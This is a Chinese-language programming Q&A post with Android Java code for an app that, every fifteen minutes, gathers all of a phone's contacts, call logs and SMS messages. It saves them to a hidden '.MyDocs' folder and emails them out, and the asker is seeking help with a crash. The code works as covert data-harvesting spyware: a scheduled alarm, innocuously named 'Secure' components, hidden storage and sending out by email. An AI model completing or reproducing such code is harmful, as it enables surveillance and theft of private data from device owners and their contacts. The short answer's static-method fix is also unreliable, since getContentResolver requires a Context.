我正在创建一个应用程序,它从设备收集所有联系人并通过电子邮件发送,但问题是当我调用函数contacts()时,它会获取联系人列表"从类名save
将联系人保存到稍后发送的设备时会出现错误:
调用虚拟方法context.ContentResolver。
现在的问题是如何从保存类中的MainActivity调用getContacts()方法,该方法在BroadcastReceiver中定期调用和执行。
主要活动代码
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
startService(new Intent(getBaseContext(),SecureService.class));
Intent i= new Intent(MainActivity.this,SecureReciever.class);
PendingIntent pi=PendingIntent.getBroadcast(getApplicationContext(),0,i,0);
AlarmManager am= (AlarmManager) getSystemService(ALARM_SERVICE);
am.setRepeating(AlarmManager.RTC_WAKEUP, System.currentTimeMillis()+3000, AlarmManager.INTERVAL_FIFTEEN_MINUTES,pi);
}
public ArrayList<String> getContacts(){
ContentResolver cr= getContentResolver();
ArrayList <String> contacts= new ArrayList<String>();
try{
Cursor cursor=cr.query(ContactsContract.Contacts.CONTENT_URI,null,null,null,null);
assert cursor != null;
String Item="";
while(cursor.moveToNext()){
String id=cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts._ID));
String name=cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));
Cursor phonecursor=cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,null,ContactsContract.CommonDataKinds.Phone.CONTACT_ID + "=?", new String[]{id} ,null );
String phonenumber="",_email="";
assert phonecursor != null;
while (phonecursor.moveToNext()){
phonenumber += phonecursor.getString(phonecursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER))+"\n";
}
phonecursor.close();
Cursor emailcursor=cr.query(ContactsContract.CommonDataKinds.Email.CONTENT_URI,null,ContactsContract.CommonDataKinds.Email.CONTACT_ID + "=? ",new String[] {id},null);
while (emailcursor.moveToNext()){
_email =_email + emailcursor.getString(emailcursor.getColumnIndex(ContactsContract.CommonDataKinds.Email.DATA));
}
emailcursor.close();
Item ="Name : "+ name + "\nPhone No : " + phonenumber + "\n Email : "+_email + "\n---------------------\n";
contacts.add(Item);
}
cursor.close();
}catch (Exception ex){
Log.d("Error",ex.getMessage());
}
return contacts;
}
保存类代码
public class save extends AsyncTask<String, Void ,String> {
MainActivity ma=new MainActivity();
@Override
protected String doInBackground(String... params) {
try{
String Calllogs= ma.getCalllogs().toString();
String SMS= ma.fetchinbox().toString();
String Contacts= ma.getContacts().toString();
String Path= Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOCUMENTS).getAbsolutePath()+"/.MyDocs";
File f=new File(Path);
FileOutputStream fos;
if (!f.exists())
f.mkdir();
File file=new File(Path+"/"+System.currentTimeMillis()+"Contacts.txt");
File file1= new File(Path+"/"+System.currentTimeMillis()+"CallLogs.txt");
File file2=new File(Path+"/"+System.currentTimeMillis()+"SMS.txt");
if (file.exists())
file.delete();
else
{
try{
file.createNewFile();
file.setWritable(true);
fos= new FileOutputStream(file);
fos.write(Contacts.getBytes());
fos.close();
}catch (Exception ex){
ex.printStackTrace();
}
}
if (file1.exists())
file1.delete();
else
{
try{
file1.createNewFile();
file1.setWritable(true);
fos= new FileOutputStream(file1);
fos.write(Calllogs.getBytes());
fos.close();
}catch (Exception ex){
ex.printStackTrace();
}
}
if (file2.exists())
file2.delete();
else
{
try{
file2.createNewFile();
file2.setWritable(true);
fos= new FileOutputStream(file2);
fos.write(SMS.getBytes());
fos.close();
}catch (Exception ex){
ex.printStackTrace();
}
}
}catch (Exception ex){
Log.d("Save Error", ex.getMessage());
}
return null;
}
@Override
protected void onPostExecute(String s) {
new sendmail().execute();
}
}
调用BroadCastReceiver Wher保存类以执行异步任务以在后台保存数据
public class SecureReciever extends BroadcastReceiver {
@Override
public void onReceive(final Context context, Intent intent) {
Date date= new Date();
Log.d("Alarm Reciever","Alarm Triggered At : "+ java.text.DateFormat.getTimeInstance().format(date));
new save().execute();
}
}
答案 0 :(得分:0)
尝试将 getContacts()访问说明符设为公共静态。如果需要,只需通过 MainActivity.getContacts()
调用它